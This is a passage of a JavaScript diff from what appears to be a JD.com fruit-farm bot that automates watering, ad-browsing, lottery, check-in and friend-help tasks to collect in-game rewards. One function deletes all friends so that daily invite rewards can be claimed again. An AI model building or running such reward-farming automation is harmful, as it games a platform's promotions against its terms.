browseAdTaskForFarm(advert.advertId, 0); + if ($.browseResult.code === '0') { + console.log(`${advert.mainTitle}浏览任务完成`); + //领取奖励 + await browseAdTaskForFarm(advert.advertId, 1); + if ($.browseRwardResult.code === '0') { + console.log(`领取浏览${advert.mainTitle}广告奖励成功,获得${$.browseRwardResult.amount}g`) + browseReward += $.browseRwardResult.amount + browseSuccess++ + } else { + browseFail++ + console.log(`领取浏览广告奖励结果: ${JSON.stringify($.browseRwardResult)}`) + } + } else { + browseFail++ + console.log(`广告浏览任务结果: ${JSON.stringify($.browseResult)}`); + } + } + if (browseFail > 0) { + console.log(`【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\\n`); + // message += `【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\n`; + } else { + console.log(`【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`); + // message += `【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`; + } + } else { + console.log(`今天已经做过浏览广告任务\n`); + } + //定时领水 + if (!$.farmTask.gotThreeMealInit.f) { + // + await gotThreeMealForFarm(); + if ($.threeMeal.code === "0") { + console.log(`【定时领水】获得${$.threeMeal.amount}g💧\n`); + // message += `【定时领水】获得${$.threeMeal.amount}g💧\n`; + } else { + // message += `【定时领水】失败,详询日志\n`; + console.log(`定时领水成功结果: ${JSON.stringify($.threeMeal)}`); + } + } else { + console.log('当前不在定时领水时间断或者已经领过\n') + } + //给好友浇水 + if (!$.farmTask.waterFriendTaskInit.f) { + if ($.farmTask.waterFriendTaskInit.waterFriendCountKey < $.farmTask.waterFriendTaskInit.waterFriendMax) { + await doFriendsWater(); + } + } else { + console.log(`给${$.farmTask.waterFriendTaskInit.waterFriendMax}个好友浇水任务已完成\n`) + } + await getAwardInviteFriend(); + await clockInIn();//打卡领水 + await executeWaterRains();//水滴雨 + await getExtraAward();//领取额外水滴奖励 + await getExtraAward2();//新的助力奖励 + await turntableFarm()//天天抽奖得好礼 +} + +async function predictionFruit() { + console.log('开始预测水果成熟时间\n'); + await initForFarm(); + await taskInitForFarm(); + let waterEveryDayT = $.farmTask.totalWaterTaskInit.totalWaterTaskTimes;//今天到到目前为止,浇了多少次水 + message += `【今日共浇水】${waterEveryDayT}次\n`; + message += `【剩余 水滴】${$.farmInfo.farmUserPro.totalEnergy}g💧\n`; + message += `【水果🍉进度】${(($.farmInfo.farmUserPro.treeEnergy / $.farmInfo.farmUserPro.treeTotalEnergy) * 100).toFixed(2)}%,已浇水${$.farmInfo.farmUserPro.treeEnergy / 10}次,还需${($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10}次\n` + if ($.farmInfo.toFlowTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【开花进度】再浇水${$.farmInfo.toFlowTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次开花\n` + } else if ($.farmInfo.toFruitTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { + message += `【结果进度】再浇水${$.farmInfo.toFruitTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次结果\n` + } + // 预测n天后水果课可兑换功能 + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10;//一共还需浇多少次水 + + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + message += `【预测】${waterD === 1 ? '明天' : waterD === 2 ? '后天' : waterD + '天之后'}(${timeFormat(24 * 60 * 60 * 1000 * waterD + Date.now())}日)可兑换水果🍉` +} + +//浇水十次 +async function doTenWater() { + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + await myCardInfoForFarm(); + const {fastCard, doubleCard, beanCard, signCard} = $.myCardInfoRes; + if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match(`限时翻倍`) && beanCard > 0) { + console.log(`您设置的是使用水滴换豆卡,且背包有水滴换豆卡${beanCard}张, 跳过10次浇水任务`) + return + } + if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + console.log(`\n准备浇水十次`); + let waterCount = 0; + isFruitFinished = false; + for (; waterCount < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit - $.farmTask.totalWaterTaskInit.totalWaterTaskTimes; waterCount++) { + console.log(`第${waterCount + 1}次浇水`); + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`剩余水滴${$.waterResult.totalEnergy}g`); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + if ($.waterResult.totalEnergy < 10) { + console.log(`水滴不够,结束浇水`) + break + } + await gotStageAward();//领取阶段性水滴奖励 + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + } + } else { + console.log('\n今日已完成10次浇水任务\n'); + } +} + +//领取首次浇水奖励 +async function getFirstWaterAward() { + await taskInitForFarm(); + //领取首次浇水奖励 + if (!$.farmTask.firstWaterInit.f && $.farmTask.firstWaterInit.totalWaterTimes > 0) { + await firstWaterTaskForFarm(); + if ($.firstWaterReward.code === '0') { + console.log(`【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`); + // message += `【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`; + } else { + // message += '【首次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取首次浇水奖励结果: ${JSON.stringify($.firstWaterReward)}`); + } + } else { + console.log('首次浇水奖励已领取\n') + } +} + +//领取十次浇水奖励 +async function getTenWaterAward() { + //领取10次浇水奖励 + if (!$.farmTask.totalWaterTaskInit.f && $.farmTask.totalWaterTaskInit.totalWaterTaskTimes >= $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + await totalWaterTaskForFarm(); + if ($.totalWaterReward.code === '0') { + console.log(`【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`); + // message += `【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`; + } else { + // message += '【十次浇水奖励】领取奖励失败,详询日志\n'; + console.log(`领取10次浇水奖励结果: ${JSON.stringify($.totalWaterReward)}`); + } + } else if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { + // message += `【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`; + console.log(`【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`); + } + console.log('finished 水果任务完成!'); +} + +//再次浇水 +async function doTenWaterAgain() { + console.log('开始检查剩余水滴能否再次浇水再次浇水\n'); + await initForFarm(); + let totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + console.log(`剩余水滴${totalEnergy}g\n`); + await myCardInfoForFarm(); + const {fastCard, doubleCard, beanCard, signCard} = $.myCardInfoRes; + console.log(`背包已有道具:\n快速浇水卡:${fastCard === -1 ? '未解锁' : fastCard + '张'}\n水滴翻倍卡:${doubleCard === -1 ? '未解锁' : doubleCard + '张'}\n水滴换京豆卡:${beanCard === -1 ? '未解锁' : beanCard + '张'}\n加签卡:${signCard === -1 ? '未解锁' : signCard + '张'}\n`) + if (totalEnergy >= 100 && doubleCard > 0) { + //使用翻倍水滴卡 + for (let i = 0; i < new Array(doubleCard).fill('').length; i++) { + await userMyCardForFarm('doubleCard'); + console.log(`使用翻倍水滴卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + if (signCard > 0) { + //使用加签卡 + for (let i = 0; i < new Array(signCard).fill('').length; i++) { + await userMyCardForFarm('signCard'); + console.log(`使用加签卡结果:${JSON.stringify($.userMyCardRes)}`); + } + await initForFarm(); + totalEnergy = $.farmInfo.farmUserPro.totalEnergy; + } + jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; + if ($.isNode() && process.env.FRUIT_BEAN_CARD) { + jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; + } + if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match('限时翻倍')) { + console.log(`\n您设置的是水滴换豆功能,现在为您换豆`); + if (totalEnergy >= 100 && $.myCardInfoRes.beanCard > 0) { + //使用水滴换豆卡 + await userMyCardForFarm('beanCard'); + console.log(`使用水滴换豆卡结果:${JSON.stringify($.userMyCardRes)}`); + if ($.userMyCardRes.code === '0') { + message += `【水滴换豆卡】获得${$.userMyCardRes.beanCount}个京豆\n`; + return + } + } else { + console.log(`您目前水滴:${totalEnergy}g,水滴换豆卡${$.myCardInfoRes.beanCard}张,暂不满足水滴换豆的条件,为您继续浇水`) + } + } + let overageEnergy = totalEnergy - retainWater; + if (totalEnergy >= ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy)) { + //如果现有的水滴,大于水果可兑换所需的对滴(也就是把水滴浇完,水果就能兑换了) + isFruitFinished = false; + for (let i = 0; i < ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10; i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果(水果马上就可兑换了): ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log('\n浇水10g成功\n'); + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + console.log(`目前水滴【${$.waterResult.totalEnergy}】g,继续浇水,水果马上就可以兑换了`) + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}水果已可领取`, `京东账号${$.index} ${$.nickName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + } + } else if (overageEnergy >= 10) { + console.log("目前剩余水滴:【" + totalEnergy + "】g,可继续浇水"); + isFruitFinished = false; + for (let i = 0; i < parseInt(overageEnergy / 10); i++) { + await waterGoodForFarm(); + console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); + if ($.waterResult.code === '0') { + console.log(`\n浇水10g成功,剩余${$.waterResult.totalEnergy}\n`) + if ($.waterResult.finished) { + // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 + isFruitFinished = true; + break + } else { + await gotStageAward() + } + } else { + console.log('浇水出现失败异常,跳出不在继续浇水') + break; + } + } + if (isFruitFinished) { + option['open-url'] = urlSchema; + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); + $.done(); + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}水果已可领取`, `京东账号${$.index} ${$.nickName}\n${$.farmInfo.farmUserPro.name}已可领取`); + } + } + } else { + console.log("目前剩余水滴:【" + totalEnergy + "】g,不再继续浇水,保留部分水滴用于完成第二天【十次浇水得水滴】任务") + } +} + +//领取阶段性水滴奖励 +function gotStageAward() { + return new Promise(async resolve => { + if ($.waterResult.waterStatus === 0 && $.waterResult.treeEnergy === 10) { + console.log('果树发芽了,奖励30g水滴'); + await gotStageAwardForFarm('1'); + console.log(`浇水阶段奖励1领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`; + console.log(`【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`); + } + } else if ($.waterResult.waterStatus === 1) { + console.log('果树开花了,奖励40g水滴'); + await gotStageAwardForFarm('2'); + console.log(`浇水阶段奖励2领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } else if ($.waterResult.waterStatus === 2) { + console.log('果树长出小果子啦, 奖励50g水滴'); + await gotStageAwardForFarm('3'); + console.log(`浇水阶段奖励3领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`) + if ($.gotStageAwardForFarmRes.code === '0') { + // message += `【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; + console.log(`【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); + } + } + resolve() + }) +} + +//天天抽奖活动 +async function turntableFarm() { + await initForTurntableFarm(); + if ($.initForTurntableFarmRes.code === '0') { + //领取定时奖励 //4小时一次 + let { + timingIntervalHours, + timingLastSysTime, + sysTime, + timingGotStatus, + remainLotteryTimes, + turntableInfos + } = $.initForTurntableFarmRes; + + if (!timingGotStatus) { + console.log(`是否到了领取免费赠送的抽奖机会----${sysTime > (timingLastSysTime + 60 * 60 * timingIntervalHours * 1000)}`) + if (sysTime > (timingLastSysTime + 60 * 60 * timingIntervalHours * 1000)) { + await timingAwardForTurntableFarm(); + console.log(`领取定时奖励结果${JSON.stringify($.timingAwardRes)}`); + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } else { + console.log(`免费赠送的抽奖机会未到时间`) + } + } else { + console.log('4小时候免费赠送的抽奖机会已领取') + } + if ($.initForTurntableFarmRes.turntableBrowserAds && $.initForTurntableFarmRes.turntableBrowserAds.length > 0) { + for (let index = 0; index < $.initForTurntableFarmRes.turntableBrowserAds.length; index++) { + if (!$.initForTurntableFarmRes.turntableBrowserAds[index].status) { + console.log(`开始浏览天天抽奖的第${index + 1}个逛会场任务`) + await browserForTurntableFarm(1, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0' && $.browserForTurntableFarmRes.status) { + console.log(`第${index + 1}个逛会场任务完成,开始领取水滴奖励\n`) + await browserForTurntableFarm(2, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); + if ($.browserForTurntableFarmRes.code === '0') { + console.log(`第${index + 1}个逛会场任务领取水滴奖励完成\n`) + await initForTurntableFarm(); + remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; + } + } + } else { + console.log(`浏览天天抽奖的第${index + 1}个逛会场任务已完成`) + } + } + } + //天天抽奖助力 + console.log('开始天天抽奖--好友助力--每人每天只有三次助力机会.') + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('天天抽奖-不能自己给自己助力\n') + continue + } + await lotteryMasterHelp(code); + // console.log('天天抽奖助力结果',lotteryMasterHelpRes.helpResult) + if ($.lotteryMasterHelpRes.helpResult.code === '0') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}成功\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '11') { + console.log(`天天抽奖-不要重复助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}\n`) + } else if ($.lotteryMasterHelpRes.helpResult.code === '13') { + console.log(`天天抽奖-助力${$.lotteryMasterHelpRes.helpResult.masterUserInfo.nickName}失败,助力次数耗尽\n`); + break; + } + } + console.log(`---天天抽奖次数remainLotteryTimes----${remainLotteryTimes}次`) + //抽奖 + if (remainLotteryTimes > 0) { + console.log('开始抽奖') + let lotteryResult = ''; + for (let i = 0; i < new Array(remainLotteryTimes).fill('').length; i++) { + await lotteryForTurntableFarm() + console.log(`第${i + 1}次抽奖结果${JSON.stringify($.lotteryRes)}`); + if ($.lotteryRes.code === '0') { + turntableInfos.map((item) => { + if (item.type === $.lotteryRes.type) { + console.log(`lotteryRes.type${$.lotteryRes.type}`); + if ($.lotteryRes.type.match(/bean/g) && $.lotteryRes.type.match(/bean/g)[0] === 'bean') { + lotteryResult += `${item.name}个,`; + } else if ($.lotteryRes.type.match(/water/g) && $.lotteryRes.type.match(/water/g)[0] === 'water') { + lotteryResult += `${item.name},`; + } else { + lotteryResult += `${item.name},`; + } + } + }) + //没有次数了 + if ($.lotteryRes.remainLotteryTimes === 0) { + break + } + } + } + if (lotteryResult) { + console.log(`【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`) + // message += `【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`; + } + } else { + console.log('天天抽奖--抽奖机会为0次') + } + } else { + console.log('初始化天天抽奖得好礼失败') + } +} + +//领取额外奖励水滴 +async function getExtraAward() { + await masterHelpTaskInitForFarm(); + if ($.masterHelpResult.code === '0') { + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length >= 5) { + // 已有五人助力。领取助力后的奖励 + if (!$.masterHelpResult.masterGotFinal) { + await masterGotFinishedTaskForFarm(); + if ($.masterGotFinished.code === '0') { + console.log(`已成功领取好友助力奖励:【${$.masterGotFinished.amount}】g水`); + message += `【额外奖励】${$.masterGotFinished.amount}g水领取成功\n`; + } + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已被领取过\n`; + } + } else { + console.log("助力好友未达到5个"); + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length > 0) { + let str = ''; + $.masterHelpResult.masterHelpPeoples.map((item, index) => { + if (index === ($.masterHelpResult.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } +} + +//领取新的助力奖励 +async function getExtraAward2() { + await masterHelpTaskInitForFarm2(); + if ($.masterHelpResult2.code === '0') { + peopleHelps = $.masterHelpResult2.assistFriendList + status = $.masterHelpResult2.status + assistStageList = $.masterHelpResult2.assistStageList + if (status != '0') { + for (let vo of assistStageList) { + stageStaus = vo.stageStaus + assistNum = vo.assistNum + if (stageStaus == '2') { + await masterGotFinishedTaskForFarm2() + if ($.masterGotFinished2.code === '0') { + console.log(`已成功领取${assistNum}个好友助力奖励:【${$.masterGotFinished2.amount}】g水`); + message += `【${assistNum}个好友额外奖励】${$.masterGotFinished2.amount}g水领取成功\n`; + } + } else if (stageStaus == '3') { + console.log(`已经领取过${assistNum}个好友助力额外奖励`); + message += `【${assistNum}个好友助力额外奖励】已被领取过\n`; + } + } + } else { + console.log("助力好友少于2个"); + message += `【额外奖励】领取失败,原因:给您助力的人少于2个\n`; + } + if (Array.isArray(peopleHelps) && peopleHelps.length !== 0) { + let str = ''; + peopleHelps.map((item, index) => { + if (index === (peopleHelps.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } +} + +//助力好友 +async function masterHelpShare() { + console.log('开始助力好友') + let salveHelpAddWater = 0; + let remainTimes = 3;//今日剩余助力次数,默认3次(京东农场每人每天3次助力机会)。 + let helpSuccessPeoples = '';//成功助力好友 + console.log(`格式化后的助力码::${JSON.stringify(newShareCodes)}\n`); + + for (let code of newShareCodes) { + console.log(`开始助力京东账号${$.index} - ${$.nickName}的好友: ${code}`); + if (!code) continue; + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('不能为自己助力哦,跳过自己的shareCode\n') + continue + } + await masterHelp(code); + if ($.helpResult.code === '0') { + if ($.helpResult.helpResult.code === '0') { + //助力成功 + salveHelpAddWater += $.helpResult.helpResult.salveHelpAddWater; + console.log(`【助力好友结果】: 已成功给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力`); + console.log(`给好友【${$.helpResult.helpResult.masterUserInfo.nickName}】助力获得${$.helpResult.helpResult.salveHelpAddWater}g水滴`) + helpSuccessPeoples += ($.helpResult.helpResult.masterUserInfo.nickName || '匿名用户') + ','; + } else if ($.helpResult.helpResult.code === '8') { + console.log(`【助力好友结果】: 助力【${$.helpResult.helpResult.masterUserInfo.nickName}】失败,您今天助力次数已耗尽`); + } else if ($.helpResult.helpResult.code === '9') { + console.log(`【助力好友结果】: 之前给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力过了`); + } else if ($.helpResult.helpResult.code === '10') { + console.log(`【助力好友结果】: 好友【${$.helpResult.helpResult.masterUserInfo.nickName}】已满五人助力`); + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.helpResult)}`); + } + console.log(`【今日助力次数还剩】${$.helpResult.helpResult.remainTimes}次\n`); + remainTimes = $.helpResult.helpResult.remainTimes; + if ($.helpResult.helpResult.remainTimes === 0) { + console.log(`您当前助力次数已耗尽,跳出助力`); + break + } + } else { + console.log(`助力失败::${JSON.stringify($.helpResult)}`); + } + } + if ($.isLoon() || $.isQuanX() || $.isSurge()) { + let helpSuccessPeoplesKey = timeFormat() + $.farmInfo.farmUserPro.shareCode; + if (!$.getdata(helpSuccessPeoplesKey)) { + //把前一天的清除 + $.setdata('', timeFormat(Date.now() - 24 * 60 * 60 * 1000) + $.farmInfo.farmUserPro.shareCode); + $.setdata('', helpSuccessPeoplesKey); + } + if (helpSuccessPeoples) { + if ($.getdata(helpSuccessPeoplesKey)) { + $.setdata($.getdata(helpSuccessPeoplesKey) + ',' + helpSuccessPeoples, helpSuccessPeoplesKey); + } else { + $.setdata(helpSuccessPeoples, helpSuccessPeoplesKey); + } + } + helpSuccessPeoples = $.getdata(helpSuccessPeoplesKey); + } + if (helpSuccessPeoples && helpSuccessPeoples.length > 0) { + message += `【您助力的好友👬】${helpSuccessPeoples.substr(0, helpSuccessPeoples.length - 1)}\n`; + } + if (salveHelpAddWater > 0) { + // message += `【助力好友👬】获得${salveHelpAddWater}g💧\n`; + console.log(`【助力好友👬】获得${salveHelpAddWater}g💧\n`); + } + message += `【今日剩余助力👬】${remainTimes}次\n`; + console.log('助力好友结束,即将开始领取额外水滴奖励\n'); +} + +//水滴雨 +async function executeWaterRains() { + let executeWaterRain = !$.farmTask.waterRainInit.f; + if (executeWaterRain) { + console.log(`水滴雨任务,每天两次,最多可得10g水滴`); + console.log(`两次水滴雨任务是否全部完成:${$.farmTask.waterRainInit.f ? '是' : '否'}`); + if ($.farmTask.waterRainInit.lastTime) { + if (Date.now() < ($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000)) { + executeWaterRain = false; + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`; + console.log(`\【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`); + } + } + if (executeWaterRain) { + console.log(`开始水滴雨任务,这是第${$.farmTask.waterRainInit.winTimes + 1}次,剩余${2 - ($.farmTask.waterRainInit.winTimes + 1)}次`); + await waterRainForFarm(); + console.log('水滴雨waterRain'); + if ($.waterRain.code === '0') { + console.log('水滴雨任务执行成功,获得水滴:' + $.waterRain.addEnergy + 'g'); + console.log(`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`); + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`; + } + } + } else { + // message += `【水滴雨】已全部完成,获得20g💧\n`; + } +} + +//打卡领水活动 +async function clockInIn() { + console.log('开始打卡领水活动(签到,关注,领券)'); + await clockInInitForFarm(); + if ($.clockInInit.code === '0') { + // 签到得水滴 + if (!$.clockInInit.todaySigned) { + console.log('开始今日签到'); + await clockInForFarm(); + console.log(`打卡结果${JSON.stringify($.clockInForFarmRes)}`); + if ($.clockInForFarmRes.code === '0') { + // message += `【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`; + console.log(`【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`) + if ($.clockInForFarmRes.signDay === 7) { + //可以领取惊喜礼包 + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + } + } + if ($.clockInInit.todaySigned && $.clockInInit.totalSigned === 7) { + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + // 限时关注得水滴 + if ($.clockInInit.themes && $.clockInInit.themes.length > 0) { + for (let item of $.clockInInit.themes) { + if (!item.hadGot) { + console.log(`关注ID${item.id}`); + await clockInFollowForFarm(item.id, "theme", "1"); + console.log(`themeStep1--结果${JSON.stringify($.themeStep1)}`); + if ($.themeStep1.code === '0') { + await clockInFollowForFarm(item.id, "theme", "2"); + console.log(`themeStep2--结果${JSON.stringify($.themeStep2)}`); + if ($.themeStep2.code === '0') { + console.log(`关注${item.name},获得水滴${$.themeStep2.amount}g`); + } + } + } + } + } + // 限时领券得水滴 + if ($.clockInInit.venderCoupons && $.clockInInit.venderCoupons.length > 0) { + for (let item of $.clockInInit.venderCoupons) { + if (!item.hadGot) { + console.log(`领券的ID${item.id}`); + await clockInFollowForFarm(item.id, "venderCoupon", "1"); + console.log(`venderCouponStep1--结果${JSON.stringify($.venderCouponStep1)}`); + if ($.venderCouponStep1.code === '0') { + await clockInFollowForFarm(item.id, "venderCoupon", "2"); + if ($.venderCouponStep2.code === '0') { + console.log(`venderCouponStep2--结果${JSON.stringify($.venderCouponStep2)}`); + console.log(`从${item.name}领券,获得水滴${$.venderCouponStep2.amount}g`); + } + } + } + } + } + } + console.log('开始打卡领水活动(签到,关注,领券)结束\n'); +} + +// +async function getAwardInviteFriend() { + await friendListInitForFarm();//查询好友列表 + // console.log(`查询好友列表数据:${JSON.stringify($.friendList)}\n`) + if ($.friendList) { + console.log(`\n今日已邀请好友${$.friendList.inviteFriendCount}个 / 每日邀请上限${$.friendList.inviteFriendMax}个`); + console.log(`开始删除${$.friendList.friends && $.friendList.friends.length}个好友,可拿每天的邀请奖励`); + if ($.friendList.friends && $.friendList.friends.length > 0) { + for (let friend of $.friendList.friends) { + console.log(`\n开始删除好友 [${friend.shareCode}]`); + const deleteFriendForFarm = await request('deleteFriendForFarm', { + "shareCode": `${friend.shareCode}`, + "version": 8, + "channel": 1 + }); + if (deleteFriendForFarm && deleteFriendForFarm.code === '0') { + console.log(`删除好友 [${friend.shareCode}] 成功\n`); + } + } + } + await receiveFriendInvite();//为他人助力,接受邀请成为别人的好友 + if ($.friendList.inviteFriendCount > 0) { + if ($.friendList.inviteFriendCount > $.friendList.inviteFriendGotAwardCount) { + console.log('开始领取邀请好友的奖励'); + await awardInviteFriendForFarm(); + console.log(`领取邀请好友的奖励结果::${JSON.stringify($.awardInviteFriendRes)}`); + } + } else { + console.log('今日未邀请过好友') + } + } else { + console.log(`查询好友列表失败\n`); + } +} + +//给好友浇水 +async function doFriendsWater() { + await friendListInitForFarm(); + console.log('开始给好友浇水...'); + await taskInitForFarm(); + const {waterFriendCountKey, waterFriendMax} = $.farmTask.waterFriendTaskInit; + console.log(`今日已给${waterFriendCountKey}个好友浇水`); + if (waterFriendCountKey < waterFriendMax) { + let needWaterFriends = []; + if ($.friendList.friends && $.friendList.friends.length > 0) { + $.friendList.friends.map((item, index) => { + if (item.friendState === 1) { + if (needWaterFriends.length < (waterFriendMax - waterFriendCountKey)) { + needWaterFriends.push(item.shareCode); + } + } + }); + console.log(`需要浇水的好友列表shareCodes:${JSON.stringify(needWaterFriends)}`); + let waterFriendsCount = 0, cardInfoStr = ''; + for (let index = 0; index < needWaterFriends.length; index++) { + await waterFriendForFarm(needWaterFriends[index]); + console.log(`为第${index + 